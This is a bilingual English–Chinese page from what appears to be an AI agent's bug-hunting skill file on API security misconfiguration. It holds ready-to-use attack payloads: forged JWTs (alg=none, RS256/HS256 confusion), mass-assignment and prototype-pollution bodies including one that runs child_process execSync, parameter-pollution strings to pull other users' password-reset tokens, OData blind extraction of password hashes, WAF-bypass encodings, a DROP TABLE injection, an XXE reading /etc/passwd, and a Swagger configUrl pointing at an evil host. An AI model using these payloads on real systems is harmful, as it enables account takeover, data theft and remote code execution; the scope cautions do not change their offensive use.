hunt-api-misconfig

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

12. API SECURITY MISCONFIGURATION

12. API 安全配置错误

Mass Assignment

Mass Assignment(批量赋值)

javascript
User.update(req.body)  // body has {"role": "admin"} → privilege escalation
javascript
User.update(req.body)  // body has {"role": "admin"} → privilege escalation

JWT None Algorithm

JWT None 算法

python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature
python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature

JWT RS256 → HS256 Algorithm Confusion

JWT RS256 → HS256 算法混淆

python
undefined
python
undefined

Get server's public key from /.well-known/jwks.json

Get server's public key from /.well-known/jwks.json

Sign token with public key as HMAC secret

Sign token with public key as HMAC secret

token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")

Server uses RS256 key as HS256 secret → accepts it

Server uses RS256 key as HS256 secret → accepts it

undefined
undefined

Prototype Pollution

Prototype Pollution(原型链污染)

javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import, or webhook configuration. Do not stop at a 200 response to
__proto__
; prove that polluted prototype state reaches a later operation.
Hunt sequence:
  1. Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
  2. Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
  1. Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
  2. Escalate only through learned sinks. Candidate properties depend on the sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
  1. For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
对于服务端原型链污染,应先寻找对象合并原语(object merge primitive),再寻找 sink。优先检查 JSON/对象更新端点,例如个人资料、地址、首选项、设置、购物车、管理员任务、导入或 webhook 配置。不要因为对
__proto__
的请求返回 200 就停止;必须证明被污染的原型状态会影响后续操作。
排查顺序:
  1. 查找对象更新端点。 优先选择接受大量具名字段或 JSON 对象的端点。如果应用接受表单,请同时尝试 JSON 和表单编码;必要时包含 CSRF/session 字段。
  2. 污染无害的标记属性。 发送以下变体:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
  1. 触发独立的 sink。 污染后,请求账户/个人资料/管理员/任务/导出/搜索/渲染端点,并与基线比较。强烈信号包括:JSON 默认值变化、出现意外字段、提及对象属性的服务端错误、任务输出变化、模板/渲染错误,或命令/任务行为变化。
  2. 仅通过已确认的 sink 提升影响。 候选属性取决于 sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
  1. 对于数据外泄实验环境或真实影响,优先采用非破坏性证明。 如果管理员任务、诊断、导出或渲染端点会使用被污染的默认值,仅在获得授权时使用标记或读取环境变量/密钥。在生产环境中,除非测试范围明确允许访问数据,否则应止步于受控标记。

Server-Side Parameter Pollution in Backend URL / REST URL Construction

后端 URL / REST URL 构造中的服务端参数污染

Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
Hunt sequence:
  1. Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look for form actions,
    fetch(...)
    , hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape.
  2. Determine whether input lands in a backend path or query. Send URL metacharacters in the input:
    #
    ,
    ?
    ,
    &x=y
    ,
    /
    ,
    ../
    , and encoded forms
    %23
    ,
    %3f
    ,
    %26x=y
    ,
    %2f
    ,
    %2e%2e%2f
    . Distinct errors such as
    Invalid route
    ,
    API definition
    ,
    unsupported field
    , or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text.
  3. Use path traversal to move inside the server-side URL. If
    username/../other-user
    changes the referenced account, the input is in a REST path segment. Then try appending route fragments such as
    /field/email
    ,
    /field/id
    ,
    /field/username
    ,
    /field/passwordResetToken
    , and terminate the rest of the original backend path with
    #
    or
    %23
    when the backend URL parser honors fragments.
  4. Discover API documentation from errors. When an error says to consult the API definition, probe common documentation/spec paths:
    /openapi.json
    ,
    /swagger.json
    ,
    /api-docs
    ,
    /api/swagger.json
    ,
    /swagger/v1/swagger.json
    ,
    /v3/api-docs
    , and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names.
  5. Exploit only to prove impact. For password reset/account lookup flows, the strongest proof is a sensitive field such as a reset token or secret for another user, then using that token in the normal application flow to complete account takeover. Do not stop at
    Invalid route
    ; use errors as routing feedback.
Payload patterns to try, adapted to the observed parameter name:
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23
当发现前端表单或端点似乎代你调用服务端 API(密码重置、账户查询、个人资料获取、商品查询、库存检查、搜索)时使用此方法。该问题并非普通的客户端查询参数污染。服务端会获取你的输入,并将其插入后端 URL 路径或查询字符串,例如:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
排查顺序:
  1. 找出流程并读取客户端请求。 获取页面及其引用的 JavaScript。查找表单 action、
    fetch(...)
    、隐藏的 CSRF 字段,以及浏览器发送的确切参数名。如果存在重置/账户表单,先使用已知用户名测试,以了解正常的成功/错误响应形态。
  2. 确定输入进入后端路径还是查询字符串。 在输入中发送 URL 元字符:
    #
    、
    ?
    、
    &x=y
    、
    /
    、
    ../
    ,以及编码形式
    %23
    、
    %3f
    、
    %26x=y
    、
    %2f
    、
    %2e%2e%2f
    。如果出现不同错误,例如
    Invalid route
    、
    API definition
    、
    unsupported field
    或返回字段发生变化,说明你的值正被服务端 URL 路由器解释,而不仅仅是被当作文本校验。
  3. 利用路径遍历在服务端 URL 内移动。 如果
    username/../other-user
    改变所引用的账户,说明输入位于 REST 路径段中。随后尝试附加
    /field/email
    、
    /field/id
    、
    /field/username
    、
    /field/passwordResetToken
    等路由片段,并在后端 URL 解析器支持 fragment 时,用
    #
    或
    %23
    终止原后端路径的剩余部分。
  4. 从错误中发现 API 文档。 当错误提示查看 API definition 时,探测常见文档/spec 路径:
    /openapi.json
    、
    /swagger.json
    、
    /api-docs
    、
    /api/swagger.json
    、
    /swagger/v1/swagger.json
    、
    /v3/api-docs
    ,以及尝试从存在漏洞的后端路由访问规范的路径遍历变体。规范或描述性路由错误可以揭示有效资源和字段名称。
  5. 仅为证明影响而利用。 对密码重置/账户查询流程,最有力的证明是获取另一个用户的敏感字段,例如 reset token 或 secret,然后在正常应用流程中使用该 token 完成账户接管。不要止步于
    Invalid route
    ;应利用错误作为路由反馈。
可尝试以下 payload 模式,并根据观察到的参数名进行调整:
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23

CORS Exploitation

CORS 利用

bash
undefined
bash
undefined

Test: reflected origin + credentials

Test: reflected origin + credentials

If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true

If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true

→ CRITICAL: attacker reads credentialed responses

→ CRITICAL: attacker reads credentialed responses


---

---

OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)

OData $filter / $select / $expand WAF 黑名单绕过(2024-2026 攻击面)

OData (Open Data Protocol) is the query layer behind SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori, and any ASP.NET WebAPI project using
Microsoft.AspNetCore.OData
. It exposes SQL-shaped query operators (
eq
,
ne
,
and
,
or
,
substringof
,
startswith
,
tolower
,
concat
,
replace
) that look SQL-ish but are NOT SQL — meaning keyword-blacklist WAFs routinely fail open on OData traffic.
OData(Open Data Protocol)是 SharePoint、Microsoft Dynamics 365 / Power Platform、SAP NetWeaver Gateway / Fiori,以及任何使用
Microsoft.AspNetCore.OData
的 ASP.NET WebAPI 项目背后的查询层。它暴露出形似 SQL 的查询运算符(
eq
、
ne
、
and
、
or
、
substringof
、
startswith
、
tolower
、
concat
、
replace
)。这些运算符看起来像 SQL,但并非 SQL,因此基于关键字黑名单的 WAF 往往会在 OData 流量上默认放行(fail open)。

Attack class 1 — Boolean-logic blind extraction via
startswith
/
substringof

攻击类别 1 — 通过
startswith
/
substringof
进行布尔逻辑盲注提取

GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
Iterate prefix character-by-character; cardinality of the response (or
@odata.count
) is the boolean oracle that confirms the prefix is correct. No SQLi engine needed, no
'
/
--
characters — the WAF sees only legitimate OData keywords. Extracted Microsoft Dynamics 365 / Power Apps Portals password hashes, names, emails, addresses, financial data in Dec 2023; Microsoft patched May 2024. (Stratus Security writeup, The Hacker News coverage Jan 2025)
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'a')
GET /_api/data/contacts?$filter=startswith(adx_identity_passwordhash,'aa')
逐字符迭代前缀;响应数量(或
@odata.count
)就是用于确认前缀是否正确的布尔 oracle。无需 SQLi 引擎,也不使用
'
/
--
字符——WAF 只会看到合法的 OData 关键字。2023 年 12 月从 Microsoft Dynamics 365 / Power Apps Portals 提取出了 密码哈希、姓名、邮箱、地址、金融数据;Microsoft 于 2024 年 5 月完成修补。(Stratus Security 分析文章、The Hacker News 2025 年 1 月报道)

Attack class 2 —
$orderby
/
$select
column-disclosure bypass

攻击类别 2 —
$orderby
/
$select
列泄露绕过

GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
$orderby
accepts column names the user has no
$select
permission for, but the engine still sorts on them — the returned order leaks the protected column. Column-level ACLs are enforced on the projection (
$select
) but NOT on
$orderby
/
$filter
— same protected column, different code path. Second Stratus finding in the same Dynamics 365 disclosure; "more dangerous than the first because it directly returned the data" per Stratus.
GET /api/data/v9.0/contacts?$orderby=emailaddress1 desc&$select=fullname
$orderby
接受用户无权通过
$select
访问的列名,但引擎仍会按这些列排序——返回顺序会泄露受保护的列。列级 ACL 会在投影(
$select
)上生效,但不会在
$orderby
/
$filter
上生效——同一个受保护列,却走了不同的代码路径。这是 Dynamics 365 披露问题中的第二个 Stratus 发现;正如 Stratus 所言,“它比第一个更危险,因为它直接返回了数据”。

Attack class 3 —
$batch
multipart/mixed → per-request WAF signatures miss sub-operations

攻击类别 3 —
$batch
multipart/mixed 导致逐请求 WAF 签名漏检子操作

POST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
WAFs that scan only the outer request body (or that don't natively parse
multipart/mixed
) skip every inner operation. ModSecurity refused
multipart/mixed
historically (Issue #3296); F5 added native batch parsing only in Advanced WAF v16.1 (F5 SAP-Fiori advisory). The 2025 WAFFLED paper (arXiv 2503.10846) generalises the parsing-discrepancy bypass class across 5 major WAFs.
POST /odata/$batch  Content-Type: multipart/mixed; boundary=batch_1
--batch_1
Content-Type: application/http
GET Users?$filter=1 eq 1 HTTP/1.1
--batch_1--
仅扫描外层请求体(或不原生解析
multipart/mixed
)的 WAF 会跳过每个内部操作。ModSecurity 过去会拒绝
multipart/mixed
(Issue #3296);F5 直到 Advanced WAF v16.1 才加入原生 batch 解析(F5 SAP-Fiori advisory)。2025 年 WAFFLED 论文(arXiv 2503.10846)将这一解析差异绕过类别推广到了 5 款主流 WAF。

Attack class 4 — Encoded / non-canonical operator → keyword-blacklist bypass

攻击类别 4 — 编码或非规范形式运算符导致关键字黑名单绕过

GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $
GET /api?%2524filter=...                                # double-encoded
GET /Users(1)/$value                                    # path-segment style
Mixed-case operators (
Eq
,
EQ
) and obscure ones (
substringof
,
tolower
,
concat
,
replace
) look unlike
SELECT
/
UNION
so SQLi-keyword signatures never fire. WAFs that key on the literal string
$filter
see neither form — but the OData server normalises both before evaluating the predicate. Documented since Kalra Black Hat AD 2012; canonical OData-vs-WAF impedance mismatch. (OWASP Double Encoding)
GET /api?%24filter=Name%20eq%20'x'%20or%201%20eq%201   # URL-encoded $
GET /api?%2524filter=...                                # double-encoded
GET /Users(1)/$value                                    # path-segment style
大小写混合的运算符(
Eq
、
EQ
)和少见的运算符(
substringof
、
tolower
、
concat
、
replace
)看起来不像
SELECT
/
UNION
,因此 SQLi 关键字签名永远不会触发。以字面字符串
$filter
为检测依据的 WAF 看不到这些形式——但 OData 服务器在计算谓词前会将二者标准化。该问题自 Kalra 在 Black Hat 2012 上披露以来便有记录;这是典型的 OData 与 WAF 规范化处理不匹配问题。(OWASP Double Encoding)

Attack class 5 — OData → real SQLi when library passes filter raw

攻击类别 5 — OData 在库原样传递 filter 时产生真实 SQLi

$filter=Name eq 'x'); DROP TABLE Users--'
Only triggers when the OData layer string-concatenates into SQL instead of using LINQ. Documented in OData/WebApi Issue #2352. The XML-deserialisation variant: CVE-2019-17554 (Apache Olingo OData 4.0.0-4.6.0, XXE via
<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>
in
application/xml
body, CVSS 7.5). DoS variant: CVE-2018-8269 (Microsoft.Data.OData deep
$filter
recursion → stack overflow).
$filter=Name eq 'x'); DROP TABLE Users--'
仅当 OData 层将字符串直接拼接进 SQL、而不是使用 LINQ 时才会触发。已在 OData/WebApi Issue #2352 中记录。XML 反序列化变体:CVE-2019-17554(Apache Olingo OData 4.0.0-4.6.0,通过
application/xml
请求体中的
<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>
触发 XXE,CVSS 7.5)。DoS 变体:CVE-2018-8269(Microsoft.Data.OData 对
$filter
进行深度递归,导致栈溢出)。

Bonus —
$expand
navigation-property IDOR

附加项 —
$expand
导航属性 IDOR

GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
Authorisation decorators applied to top-level entity sets; the engine joins along navigation properties without re-checking ACL on the joined entity. Same root cause as the 2021 PowerApps Portals 38M-record mass leak (UpGuard writeup).
GET /Orders?$expand=Customer($expand=PaymentMethods($expand=Card))
授权装饰器仅应用于顶层实体集;引擎沿导航属性进行关联时,不会重新检查被关联实体的 ACL。这与 2021 年 PowerApps Portals 3800 万条记录大规模泄露的根因相同(UpGuard 分析文章)。

Detection heuristics

检测启发式

  • Response headers:
    OData-Version: 4.0
    /
    DataServiceVersion: 3.0
    ; URL paths
    /_api/
    ,
    /odata/
    ,
    /_vti_bin/
    ,
    /api/data/v9.x/
    ,
    /sap/opu/odata/
    .
  • Try
    $metadata
    → if anonymous, the full schema (entity sets, navigation properties, function imports) is yours.
  • Probe each entity set with
    $filter=1 eq 1
    ,
    $top=1
    ,
    $select=*
    , then
    $orderby=<column-you-shouldnt-see>
    for column-level ACL.
  • Send the same payload three ways (
    $filter=
    ,
    %24filter=
    ,
    %2524filter=
    ) and through
    $batch
    — divergent WAF behaviour confirms the parser-discrepancy bug.

  • 响应标头:
    OData-Version: 4.0
    /
    DataServiceVersion: 3.0
    ;URL 路径:
    /_api/
    、
    /odata/
    、
    /_vti_bin/
    、
    /api/data/v9.x/
    、
    /sap/opu/odata/
    。
  • 尝试
    $metadata
    → 如果允许匿名访问,则完整 schema(实体集、导航属性、函数导入)都可以获取。
  • 使用
    $filter=1 eq 1
    、
    $top=1
    、
    $select=*
    探测每个实体集,然后使用
    $orderby=<column-you-shouldnt-see>
    测试列级 ACL。
  • 通过
    $filter=
    、
    %24filter=
    、
    %2524filter=
    三种方式以及
    $batch
    发送相同 payload;WAF 行为出现差异即可确认解析差异漏洞。

NSwag / Swagger / OpenAPI Spec Exposure (2024-2026 surface)

NSwag / Swagger / OpenAPI 规范暴露(2024-2026 攻击面)

NSwag is the Swagger/OpenAPI toolchain for ASP.NET Core. Default routes (
/swagger
,
/swagger/v1/swagger.json
,
/swagger/index.html
) ship enabled in many .NET 6/7/8 projects and developers leave them on in production. The exposed spec discloses every endpoint, HTTP methods, parameter names + types + formats + max-lengths, models, validation rules — a complete attack-map in JSON.
NSwag 是 ASP.NET Core 的 Swagger/OpenAPI 工具链。默认路由(
/swagger
、
/swagger/v1/swagger.json
、
/swagger/index.html
)随许多 .NET 6/7/8 项目一同启用,开发者也常将其保留在生产环境中。暴露的规范会在 JSON 中披露所有端点、HTTP 方法、参数名称 + 类型 + 格式 + 最大长度、模型和验证规则——相当于一张完整的攻击地图。

Default discovery paths (cross-references
web2-recon
)

默认发现路径(交叉引用
web2-recon
)

undefined
undefined

NSwag / Swashbuckle (ASP.NET Core)

NSwag / Swashbuckle (ASP.NET Core)

/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json /swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs /nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json
/swagger, /swagger/index.html, /swagger/v1/swagger.json, /swagger/v2/swagger.json, /swagger/v3/swagger.json /swagger-ui, /swagger-ui/, /swagger-ui.html, /api-docs /nswag, /nswag/index.html, /api/swagger, /api/swagger.json, /api/openapi.json

Generic OpenAPI

Generic OpenAPI

/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json
/openapi, /openapi.json, /openapi.yaml, /.well-known/openapi.json

Java / Spring (Springfox / springdoc)

Java / Spring (Springfox / springdoc)

/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources
/v2/api-docs, /v3/api-docs, /v3/api-docs.yaml, /swagger-resources

Python (FastAPI / Connexion)

Python (FastAPI / Connexion)

/docs, /redoc, /openapi.json
/docs, /redoc, /openapi.json

Quarkus

Quarkus

/q/openapi, /q/swagger-ui
/q/openapi, /q/swagger-ui

GraphQL adjacent

GraphQL adjacent

/graphql, /graphiql, /playground, /altair, /voyager

Tools: `kiterunner` natively eats OpenAPI; `sj` (Swagger Jacker), `apidetector`, `XSSwagger`.
/graphql, /graphiql, /playground, /altair, /voyager

工具:`kiterunner` 原生支持 OpenAPI;`sj`(Swagger Jacker)、`apidetector`、`XSSwagger`。

Attack chains

攻击链

A. Spec disclosure → mass IDOR / BOLA. Spec lists every
GET /api/v1/users/{userId}/...
.
jq '.paths | keys' swagger.json
→ swap
{userId}
for victim's ID via Autorize/
ffuf -mc 200
. Common case: spec leaks
/api/admin/users/{id}/reset-password
documented but missing
[Authorize(Roles="Admin")]
on the controller — low-priv ATO.
B. Spec disclosure → mass-assignment payload construction.
components.schemas.UserUpdateDto
enumerates every model field including
isAdmin
,
emailVerified
,
tenantId
,
role
. Attacker copies the schema verbatim into
PATCH /users/me
and adds the privileged fields. Server's
[FromBody]
binder accepts them when DTOs aren't split into read-vs-write models.
C. Hidden endpoints. Specs document
/internal/*
,
/debug/*
,
/v0/*
,
/legacy/*
routes that no front-end UI references. Reachable but uncovered by WAF rules and often skipped during auth reviews.
D. Swagger UI configUrl takeover. Swagger UI loads its config from
?configUrl=
. If unsanitised, attacker hosts an evil OpenAPI spec, sends victim a link to the legitimate Swagger UI with
?configUrl=https://evil/spec.json
. Spec routes point back at the legitimate origin so the victim's "Try It Out" clicks fire same-origin authenticated requests. (HackerOne #3124103 — U.S. DoD Swagger UI Injection, May 2025)
A. 规范泄露 → 大规模 IDOR / BOLA。 规范会列出每个
GET /api/v1/users/{userId}/...
。
jq '.paths | keys' swagger.json
→ 将
{userId}
换成受害者 ID,并使用 Autorize/
ffuf -mc 200
。常见情况:规范泄露了
/api/admin/users/{id}/reset-password
路径,但控制器上缺少
[Authorize(Roles="Admin")]
,可导致低权限 ATO。
B. 规范泄露 → 批量赋值 payload 构造。
components.schemas.UserUpdateDto
枚举每个模型字段,包括
isAdmin
、
emailVerified
、
tenantId
、
role
。攻击者将 schema 原样复制到
PATCH /users/me
并添加特权字段。当 DTO 未拆分为读模型与写模型时,服务端的
[FromBody]
binder 会接受这些字段。
C. 隐藏端点。 规范会记录前端 UI 未引用的
/internal/*
、
/debug/*
、
/v0/*
、
/legacy/*
路由。这些路由可能可以访问,却未受到 WAF 规则覆盖,并且经常在权限审查中被忽略。
D. 接管 Swagger UI 的 configUrl。 Swagger UI 通过
?configUrl=
加载配置。如果未净化,攻击者可以在恶意站点托管 OpenAPI 规范,并向受害者发送指向合法 Swagger UI 的链接
?configUrl=https://evil/spec.json
。规范中的路由会指回合法源站,因此受害者点击“Try It Out”时,会发出携带认证信息的同源请求。(HackerOne #3124103 — 美国国防部 Swagger UI Injection,2025 年 5 月)

Disclosed cases

已披露案例

  • CVE-2018-25031 — Swagger UI ≤ 4.1.2 spec-injection via URL parameter; affects org.webjars:swagger-ui broadly (embedded in Swashbuckle and NSwag bundles).
  • Swagger UI DOM XSS (3.14.1 → 3.38.0) — outdated bundled DOMPurify + remote-spec-load → arbitrary JS in victim browser (Vidoc Security Lab writeup, PortSwigger Daily Swig). Reported live on PayPal, Atlassian, Microsoft, GitLab, Yahoo.
  • HackerOne #3124103 — U.S. Department of Defense, Swagger UI Injection (May 2025).
  • HackerOne #2534300 — Ionity GmbH, HTML injection in Swagger UI.
  • HackerOne #1656650 — Reflected XSS via Swagger UI
    url=
    parameter.
  • CloudSEK threat-intel (2024) — actors abuse exposed
    swagger-ui
    to invoke a verified-business WhatsApp send-message endpoint, impersonating the company to its customers. 6,000+ exposed Swagger UI instances on Shodan at time of writing. (CloudSEK report)
  • CVE-2023-38337 —
    rswag
    (Ruby Swagger toolchain) directory traversal — reminder that the spec endpoint is itself an attack surface.
  • CVE-2018-25031 — Swagger UI ≤ 4.1.2 可通过 URL 参数注入规范;广泛影响 org.webjars:swagger-ui(Swashbuckle 和 NSwag bundle 中均有集成)。
  • Swagger UI DOM XSS(3.14.1 → 3.38.0) — 内置的 DOMPurify 版本过旧,加上远程规范加载,可在受害者浏览器中执行任意 JavaScript(Vidoc Security Lab 分析文章、PortSwigger Daily Swig)。PayPal、Atlassian、Microsoft、GitLab、Yahoo 均曾被发现受到影响。
  • HackerOne #3124103 — 美国国防部 Swagger UI Injection(2025 年 5 月)。
  • HackerOne #2534300 — Ionity GmbH 的 Swagger UI HTML 注入。
  • HackerOne #1656650 — 通过 Swagger UI 的
    url=
    参数触发 Reflected XSS。
  • CloudSEK threat-intel(2024) — 攻击者滥用暴露的
    swagger-ui
    ,调用经过验证的 WhatsApp 业务消息发送端点,冒充公司向其客户发送消息。撰写报告时,Shodan 上发现了 6,000 多个暴露的 Swagger UI 实例。(CloudSEK 报告)
  • CVE-2023-38337 —
    rswag
    (Ruby Swagger 工具链)目录遍历,再次说明规范端点本身也是攻击面。

Detection checklist

检测清单

  1. httpx-probe every path above across the full subdomain set; flag 200 with
    Content-Type: application/json
    AND body matching
    "swagger"
    or
    "openapi"
    .
  2. For every hit:
    jq '.paths | keys' swagger.json
    → feed to kiterunner / Autorize.
  3. jq '.components.schemas' swagger.json
    → mass-assignment field candidates.
  4. Banner the Swagger UI HTML for version string; map to the CVE-2018-25031 / DOM-XSS table.
  5. Test
    ?configUrl=
    and
    ?url=
    parameter handling on every Swagger UI hit.

  1. 使用 httpx-probe 探测上述每个路径,并覆盖整个子域名集合;对于返回 200、
    Content-Type: application/json
    且正文匹配
    "swagger"
    或
    "openapi"
    的结果进行标记。
  2. 对每个命中结果执行
    jq '.paths | keys' swagger.json
    → 将结果输入 kiterunner / Autorize。
  3. 执行
    jq '.components.schemas' swagger.json
    → 查找批量赋值字段候选项。
  4. 从 Swagger UI HTML 标识中获取版本字符串,并映射到 CVE-2018-25031 / DOM-XSS 漏洞表。
  5. 测试每个 Swagger UI 命中结果对
    ?configUrl=
    和
    ?url=
    参数的处理方式。

Related Skills & Chains

相关 Skills 与攻击链

  • hunt-ato
    — Mass assignment on signup/profile is the fastest path to admin. Chain primitive: API mass assignment +
    hunt-ato
    →
    role=admin
    set on signup → ATO via privileged role on first login.
  • hunt-auth-bypass
    — JWT flaws collapse the entire auth layer. Chain primitive: JWT
    alg=none
    +
    hunt-auth-bypass
    → impersonate any user by setting
    sub
    to victim ID, no signature required.
  • hunt-rce
    — Prototype pollution gadgets in Node.js dependencies (lodash, mongoose, jQuery) reach
    child_process.spawn
    . Chain primitive: Prototype pollution (
    __proto__.shell=true
    ) +
    hunt-rce
    (Node.js gadget chain) → RCE on the API node.
  • hunt-subdomain
    — CORS regex with wildcard subdomain trusts a takeoverable host. Chain primitive: CORS allowlist
    *.target.com
    + subdomain takeover → attacker-controlled origin reads credentialed API responses.
  • security-arsenal
    — Load the JWT Attack Payloads section (alg=none, kid path traversal, JWK injection, embedded JWK) and the Mass-Assignment Field Wordlist (
    is_admin
    ,
    role
    ,
    verified
    ,
    permissions
    ,
    org_id
    ,
    tenant_id
    ).
  • triage-validation
    — Apply the Server-Policy-vs-State gate: a permissive CORS header alone is informational; demonstrate actual cross-origin credentialed read of sensitive data before reporting.
  • hunt-ato
    — 注册/个人资料上的 Mass Assignment 是获得管理员权限的最快路径。链式原语:API Mass Assignment +
    hunt-ato
    → 注册时设置
    role=admin
    → 首次登录时利用特权角色完成 ATO。
  • hunt-auth-bypass
    — JWT 缺陷会使整个认证层失效。链式原语:JWT
    alg=none
    +
    hunt-auth-bypass
    → 将
    sub
    设置为受害者 ID 即可冒充任意用户,无需签名。
  • hunt-rce
    — Node.js 依赖(lodash、mongoose、jQuery)中的 Prototype Pollution gadget 最终到达
    child_process.spawn
    。链式原语:Prototype Pollution(
    __proto__.shell=true
    )+
    hunt-rce
    (Node.js gadget chain)→ 在 API 节点上实现 RCE。
  • hunt-subdomain
    — CORS 正则通过通配符子域名信任了可能被接管的主机。链式原语:CORS allowlist
    *.target.com
    + subdomain takeover → 攻击者控制的 origin 可以读取携带凭据的 API 响应。
  • security-arsenal
    — 加载 JWT Attack Payloads 部分(alg=none、kid path traversal、JWK injection、embedded JWK)以及 Mass-Assignment Field Wordlist(
    is_admin
    、
    role
    、
    verified
    、
    permissions
    、
    org_id
    、
    tenant_id
    )。
  • triage-validation
    — 应用 Server-Policy-vs-State gate:仅凭宽松的 CORS 标头只能作为信息性发现;在报告前,必须演示实际跨源读取携带凭据的敏感数据。